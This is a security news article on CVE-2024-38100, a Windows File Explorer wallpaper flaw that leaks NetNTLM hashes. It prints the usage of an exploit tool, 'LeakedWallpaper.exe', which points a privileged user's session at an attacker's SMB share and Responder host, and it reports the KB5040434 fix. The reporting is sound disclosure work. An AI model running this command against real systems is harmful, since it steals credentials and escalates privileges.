A newly discovered vulnerability in Windows File Explorer has raised alarms within the cybersecurity community.
Identified as CVE-2024-38100, this security flaw allows attackers to escalate privileges by exploiting a seemingly innocuous wallpaper feature.
Released on July 9, 2024, CVE-2024-38100 is a critical vulnerability that Microsoft has classified as an “Important” security issue.
The flaw, tracked under CWE-284 for Improper Access Control, carries a CVSS score of 7.8/6.8, indicating a significant risk to affected systems.
The Exploit
The vulnerability centers around the ability to leak a user’s NetNTLM hash from any session on the computer, even from a low-privileged user account.
The exploit tool, named “LeakedWallpaper.exe,” can be executed with the following command:
.\LeakedWallpaper.exe <session> \\<KALI IP>\c$\1.jpg
For example:
.\LeakedWallpaper.exe 1 \\172.16.0.5\c$\1.jpg
This command targets a specific session ID, allowing an attacker to capture the NetNTLM hash of a privileged account, such as an administrator, from a low-privileged session.
The attacker operates from a low-privileged account (“exploit”) and targets a privileged account (“administrator”) to obtain its NetNTLM hash.
The attacker’s machine (Responder IP: 172.16.0.5) communicates with the victim’s machine (Windows IP: 172.16.0.2) to execute the exploit.
Microsoft has addressed this vulnerability in the KB5040434 update. Users and administrators are strongly advised to apply this update immediately to protect their systems from potential attacks.
CVE-2024-38100 underscores the importance of continuous vigilance and timely updates in maintaining cybersecurity.
As attackers find innovative ways to exploit even the most mundane features, users must stay informed and proactive in safeguarding their digital environments.
For more information on this vulnerability and its mitigation, visit the official Microsoft security advisory page.
Are you from SOC and DFIR Teams? – Analyse Malware Incidents & get live Access with ANY.RUN -> Free Access
Cybercriminals are increasingly exploiting search engine optimization (SEO) techniques and paid advertisements to manipulate search…
Cybersecurity experts have unearthed an intricate cyber campaign that leverages deceptive websites posing as the…
Hackers are exploiting what's known as "Dangling DNS" records to take over corporate subdomains, posing…
Security researchers and cybersecurity experts have recently uncovered new variants of the notorious HelloKitty ransomware,…
The RansomHub ransomware group has emerged as a significant danger, targeting a wide array of…
Threat actors are increasingly using email bombing to bypass security protocols and facilitate further malicious…